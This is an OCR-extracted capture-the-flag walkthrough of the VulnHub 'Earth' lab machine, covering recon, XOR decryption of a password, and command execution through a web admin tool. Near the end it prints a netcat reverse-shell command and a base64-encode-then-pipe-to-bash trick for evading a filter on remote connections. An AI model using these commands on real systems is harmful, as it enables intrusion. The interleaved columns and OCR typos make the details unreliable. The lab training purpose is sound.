THE PLANETS: EARTH

This 1s a box from vulnhub that is rated easy by
the author but depending on your skill level it
may also be considered as medium. The most
important thing in solving this machine is to pay

attention to details and doing recon.
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Currently scanning: Finished! | Screen View: Unique Hosts The ﬁI'St step s to get the IP address Of our target
105 Captured ARP Req/Rep packets, from 9 hosts. Total size: 6300

machine where we used a tool called netdiscover,
Len MAC Vendor / Hostname

it 1s used to scan the network. To Scan the

b

Netdiscover —r 192.168.192.10/24

The target ip is the ip address that has the host

name of pcs systemtechnik GmbH

Note: to scan for other devices on the network
you need to first of all get your ip address by
typing in if config then using your ip address you

scan the whole subnet
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~/Desktop/earth-ctf

map -sV -sC -ff --mtu 24 -p- 192.168.192.59
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-24 06:10 EDT
Nmap scan report for 192.168.192.59
Host is up (0.0052s latency).
Not shown: 65369 filtered tcp ports (no-response), 163 filtered tcp ports (admin-prohibited)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.6 (protocol 2.0)
| ssh-hostkey:
| 256 5b2c3fdc8b76€9217bd05624dfbee9as8 (ECDSA)
|_ 256 b@3c723b722126ce3a84e841ecc8f841 (ED25519)
80/tcp open http Apache httpd 2.4.51 ((Fedora) OpenSSL/1.1.11 mod_wsgi/4.7.1 Python/3.9)

| _http-server-header: Apache/2.4.51 (Fedora) OpenSSL/1.1.11 mod_wsgi/4.7.1 Python/3.9
| _http-title: Bad Request (400)
443/tcp open ssl/http Apache httpd 2.4.51 ((Fedora) OpenSSL/1.1.11 mod_wsgi/4.7.1 Python/3.9)

| _http-title: Test Page for the HTTP Server on Fedora

| ssl-cert: Subject: commonName=earth.local/stateOrProvinceName=Space
| Subject Alternative Name: DNS:earth.local, DNS:terratest.earth.local
| Not valid before: 2021-10-12T23:26:31

| _Not valid after: 2031-10-10T23:26:31

| _http-server-header: Apache/2.4.51 (Fedora) OpenSSL/1.1.11 mod_wsgi/4.7.1 Python/3.9
| tls-alpn:

|_ http/1.1

| http-methods:

|_ Potentially risky methods: TRACE

| _ssl-date: TLS randomness does not represent time

MAC Address: 08:00:27:46:5A:CB (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 187.38 seconds

Next, I scanned the target ip 192.168.192.59 using
nmap to see what ports are open and services are
running on the target. From the results we can see
that port 22, 80 and 443 are open. We can’t do much
with port 22 because we don’t have login credentials,
port 80 and 443 all return error 400 bad request, this
is when you try to load the page using the target ip

address from port 80 (http).

On port 443 we can see that this box has two DINS
names which 1s earth.local and terratest.earth.local. I
added the two domains on the /etc/hosts file so that |

can be able to load the web applications.

gy




¢« C QO G hitps//192.168.192.59 <

Navigating to http://192.168.162.59 T received an

Fedora Webserver Test Page

error 400 bad request, but when I navigated to https:

If you can read this page, it means that the web server installed at this site is working properly, but has

falvslben e 192.168.162.59 and got the default web page of

If you are a member of the general public: If you are the website administrator:
tedora

The website you just visited is either experiencing problems or You may now add content to the webroot directory. Note that until

undergoing routine maintenance. you do so, people visiting your website will see this page, and not

your content.

To let the administrators of this website know that you are seeing this

page and not what you were expecting, an e-mail addressed to For systems using Apache Webserver: You may now add content

"webmaster" at the website's domain should reach an appropriate to the directory /var/mai/htm1/. Note that until you do so, people

person. For example, if you saw this page while visiting visiting your website will see this page, and not your content. To

www.example.com, you could send e-mail to prevent this page from ever being used, follow the instructions in the

"webmaster@example.com". file /etc/nttpd/conf.d/welcome.conf.

Fedora is a distribution of Linux, a popular computer operating For systems using Nginx: You should now put your content in a

system. It is commonly used by hosting companies because it is free, location of your choice and edit the root configuration directive in the

and includes free web server software. This "test page" is shown nginx configuration file /etc/nginx/nginx. conf.

instead of the expected website if they do not set up their web server

correctly. For systems using Caddy: You should now put your content in a
location of your choice and edit the root configuration directive in the

Accordingly, please keep these facts in mind: Caddy configuration file /etc/caddy/Caddyfile.

« Neither the Fedora Project or Red Hat has any affiliation with POWEREDBY
any website or content hosted from this server (unless @ fedora

nthanuica avnliniths ctatadl
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http://192.168.162.59/

<« C @

O & earth.local

Kali Linux #8 KaliTools ¢ KaliDocs ¥ Kali Forums o Kali NetHunter Exploit-DB Google Hacking DB OffSec Assetnote Wordlists

Send your message to Earth:

Message:

Earth Secure Messaging Service

Message key:

| send message |
Previous Messages:

e 37090b59030711060b0alb4e000OOEOOOOEO4312170a1bOb0e41071747T1a0b0440a000202134e0a161d17040359061d433707150
e 3714171e0b0a550a1859101d064b160a191a4b0908140d0e0d441c0d4b1611074318160814114b0ald06170e1444010b0atd441cl
e 2402111b1a0705070a41000a431a000a0eadf04104601164d050f070cOf15540d1018000000000cOCO64107f0901420e105c0dO74d|

From the nmap result we saw that one of the DNS was
https://earth.local, so I had to visit the domain and I saw

it was a webpage which was a secure messaging service.

Below the message box we can see that there were
previous messages that were sent but unfortunately, they
were encrypted and the only way to decrypt the message

was using the message key.
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< C @ O & earth.local/
The next step was to see what he robots.txt file

Kali Linux #8 KaliTools ¢ KaliDocs N Kali Forums X Kali NetHunter Exploit-DB

entails, but unfortunately for this domain it didn’t

Not Found exist.

The requested resource was not found on this server.
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~/Desktop/earth-ctf
iikto -h https://192.168.192.59/ . . - -
Nikto v2.5.0 Next, I decided to scan for hidden directories, I first

Target IP: 192.168.192.59 . 5 .
Target Hostname:  192.168.192.59 started with Nikto, which unfortunately there was no

Target Port:

SSL Info: Subject: /C=US/0=U ified/CN= th/ ilAdd = ta) th . . .
- el cimiadelel sl S e useful information while on the other hand I had ran

Issuer: /C=US/0O=Unspecified/OU=ca-205268111140071423/CN=earth/emailAddress=rootgearth
Start Time: 2023-05-24 07:45:17 (GMT-4)

dirsearch with the target ip address, but it didn’t work

+ Server: Apache/2.4.51 (Fedora) OpenSSL/1.1.11 mod_wsgi/4.7.1 Python/3.9
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/H

TTP/Headers/X-Frame-Options .
+ /: The site uses TLS and the Strict-Transport-Security HTTP header is not defined. See: https://developer.mozilla.o hence I used the dOmaln name earth.local to scan for

~/Desktop/vulnhub/earth hidden directory as an alternative of the target ip
earth.local /usr/share/wordlists/dirb/big.txt dirsearch.txt

address and dirsearch found two files named /admin

and /cgi-bin.

Output File: /usr/lib/python3/dist-packages/dirsearch/dirsearch.txt

Error Log: /root/.dirsearch/logs/errors-23-05-28_09-39-41.1og

-> /admin/

] 67% 13810/20469
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(& C @ O A& earth.local

KaliLinux 8 KaliTools ¢ KaliDocs N Kali Forums X Kali NetHunter

You are not logged in. Please: Log In

O A earth.local

&« C @

KaliLinux #8 KaliTools ¢ KaliDocs M Kali Forums X Kali NetHunter

Username .

Password:

Log In|

Exploit-DB

Exploit-DB

Google Hacking DB % OffSec

Assetnote Wordlists

Admin Command Tool

Google Hacking DB OffSec Assetnote Wordlists

Log In

Checking the admin file, it was a page which had a
link to the login page. I clicked on the login link, and
[ was redirected to the login page. At this point we
dont have any credentials hence we are supposed to

look for them.
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- C @

O a

earth.local

Kali Linux # KaliTools < KaliDocs N Kali Forums & Kali NetHunter Exploit-DB Google Hacking DB OffSec Assetnote Wordlists

Send your message to Earth:

Message:

Earth Secure Messaging Service

Next, we had to go and check the second domain

which was terratest.earth.local. The page was loaded,

and it was the same page of the main domain.
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asp
aspx
bat
C
ctm

.cgi

com

.dll
.exe
.htm
.html

inc

.jhtml
.jsa
.json
.jsp
.log
.mdb
.nsf
.php
.phtml
.pl
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sh

.shtml

sql
txt
xml

/testingnotes.*

O G ttps://

« Kali Docs N Kali Forums

t.earth.local

o Kali NetHunter

Exploit-DB

[ went and checked the robots.txt file and found a bunch
of extensions which were disallowed from being crawled
on this page. Looking at the last file it was called

testingnotes which was of interest to me
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& C @ O'fh htipsijterratest.earth.local/testingnates.tx Opening testingnotes.txt, there was a checklist of all the
KaliLinux & KaliTools « KaliDocs N Kali Forums X Kali NetHunter Exploit-DB Google Hacking [}

activities that was done and supposed to be done by the

Testing secure messaging system notes:

*Using XOR encryption as the algorithm, should be safe as used in RSA. i A
*Earth has confirmed they have received our sent messages. people WhO Created thlS messaglng SYStem.

*testdata.txt was used to test encryption.

*terra used as username for admin portal.

Todo: . .
*How do we send our monthly keys to Earth securely? Or should we change keys weekly? Readmg the content, we now have the fOHOWll’lg
*Need to test different key lengths to protect against bruteforce. How long should the key be?

*Need to improve the interface of the messaging interface and the admin panel, it's currently very basic.

information

1. They are using the xor algorithm for encryption
= C @ QO & https://terratest.earth.local/t

Kali Linux §8 KaliTools ¢ KaliDocs M KaliForums e Kali NetHunter s Exploit-DB % Google HackingDB % OffSec ~ Assetn{ . . ) .
2. The user is called terra, which we will use to login

According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion
of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion

the admin page

3. There 1s a file called testdata.txt which was used for

encrypting one of the previous decoded messages

Opening testdata.txt, we found a piece of text written

Author: Kharim Mchatta
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Recipe

From Hex
Delimiter
Auto

XOR

%
ey
KEY

According to rad..

D Null preserving

STEP

Scheme

Standard

UTF8 ~

Auto Bake

Input

2402111b1a0705070241000a431200020e0a0T04104601164d
5c0d074d04181a01041c170d4f4c2c0c13000d430e0e1C0a00
4107000a4c41335d1c1d040T4e070d04521201111F1d4de31d
001e151b171a4441020e030741054418100c130b1745081c54
040714110b174c2c0c13000d441b410113080d12145c0d0708
141c1d08411e0102a0d1b120d110d1d040e1a450c0e410T0904
080d470a10060553010600124053360e111148040906010e13
1d050000450101070b47080318445c090308410f010c12171a
451817151a104c080a0e54

e 806 = 1

Output

angebad4humansearthclimatechangebad4humansearthcli
earthclimatechangebad4humansearthclimatechangebadal
angebad4humansearthclimatechangebad4humansearthcli
earthclimat

earthclimatechangebad4humansearthclimatec hangebadAi

apc 403 =1

After having everything in place it was time to decrypt
the old messages that we could find on the messaging

system earth.local.

I went to cyberchet website and inserted the recipe to
help me decode the old messages sent. And added XOR
and the words from testdata.txt as the key and used utf8

format for xor.

The third encrypted message was the one that could be
decoded and get the string as shown on the image. The
word eathdimatechangebad4humans was the password to

the system.
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Log In
Username:
'terra

Password: i
%0000.00.0.00....0000.

Admin Command Tool

Welcome terra, run your CLI command on Earth Messaging Machine (use with care).
CLI command:

Run command |

Command output:

I used the credentials terra:eathdimatechangebad4humans to

login the secure system. Once logged in, it was a page where

you can execute command lines.
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Admin Command Tool Next, was to check what commands that I could

Welcome terra, run your CLI command on Earth Messaging Machine (use with care). execute in thlS admin tOOl. I Started by Wplﬂg IS and

CLI command:
1s

the system files were listed.

[Run command |

Command output: bin boot dev etc home lib 1ib64 media mnt opt proc root run shin srv sys tmp usr var

It is custom for CTF challenges the user flag to be on

the home directory, so I changed directory to home

Admin Command Tool and listed the content and the was a folder called

S , earth, I tried access the directory, but I couldn’t do
Welcome terra, run your CLI command on Earth Messaging Machine (use with care).

CLI command: anything because it was a rabbit hence, I had to look
cd home; 1s

FrpE— for the user flags on other places

Command output: earth

Author: Kharim Mchatta
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Admin Command Tool [ decided to check the var file and noticed that there was a

Welcome terra, run your CLI conmand on Earth Messaging Machine (use with care). directory called earth_web. [ cd diI'eCtOI'Y to earth_web

CLI command:

od var; 1s and listed its content and I managed to get the user flag. I

Run comand| cat the user flag to see the content.

Command output: account adm cache crash db earth_web empty ftp games kerberos 1ib local lock log mail nis opt preserve run spool tmp wiw yp

Admin Command Tool

Welcome terra, run your CLI command on Earth Messaging Machine (use with care).

CLI command: ]
cd var/earth_web; 1s

Run command |

Command output: db.sqlite3 earth_web manage.py secure_message user_flag.txt

|
Admin Command Tool

Welcome terra, run your CLI command on Earth Messaging Machine (use with care).

CLI command: »
cat var/earth_web/use

'Run command

Command output: [user_flag_3353b67d6437f07ba7d34afd7d2fc27d]

Author: Kharim Mchatta
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. Next step 1s to establish a reverse tcp connection to the
Admin Command Tool P P

Welcome terra, run your CLI command on Earth Messaging Machine (use with care). SCIrVEr. On the attaCk machine I had run netcat to listen fOI'
* Remote connections are forbidden.

ST incoming connection on port 1234 and from the target

inc -e /bin/bash 192.1

Run comand| machine we had to send a connection request to the

Command output:

attacker's machine using the following command

it nc—e /bin/bash (attackers_machine_ip) 1234

listening on [any] 1234 ...

Unfortunately, nothing was happening because remote

connection was not allowed from the target machine

Author: Kharim Mchatta
D



~/Desktop/vulnhub/earth
ho 'nc -e /bin/bash 192.168.192.20 1234’

bmMgLWUgL2Jpbi91YXNOIDESMi4xNjguMTkyL j IWIDEYMzQK

Admin Command Tool

Welcome terra, run your CLI command on Earth Messaging Machine (use with care).
+ Remote connections are forbidden.

CLI comnand: :

echo 'bmMgLWUgL2Jpbi9

'Run command

Command output:

~/Desktop/vulnhub/earth
1234
listening on [any] 1234 ...

connect to [192.168.192.10] from (UNKNOWN) [192.168.192.12] 35654

[

The solution was to encode the netcat reverse connection

(reverse shell) command for reverse connection to base64.
echo ‘nc—e /bin/bash (attackers_machine_ip) 1234’ | base64
Then on the target machine you run the following command

echo ‘base64 string’ | base64 —d | bash

What we are basically doing is telling the target to decode the
base 64 string, then pass the command to bash which is going to
execute nc —e /bin/bash (attackers_machine_ip) 1234 which is

going to be executed as a shell.

From here you will have to privilege escalate to get access to the

root account.
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Summary

2. Save the DNS on your etc/hosts file 12. Decode the encoded messages

3. Open earth.local domain on the browser 13. Get password and use it to login the admin login  page with

the obtain username
4. Check robots.txt

14. Access the admin page and start testing for command
5. Perform directory discovery _
execution.

6. Access the admin directory and login page _ ,
15. List content on the target machine and look for the user flag

7. Open the subdomain terratest.earth.local _ _ _
16. Establish a reverse tcp connection with the target

8. Check robots.txt .
17. Privilege escalate

9. Access testingnotes.txt

10. Retrieve the username
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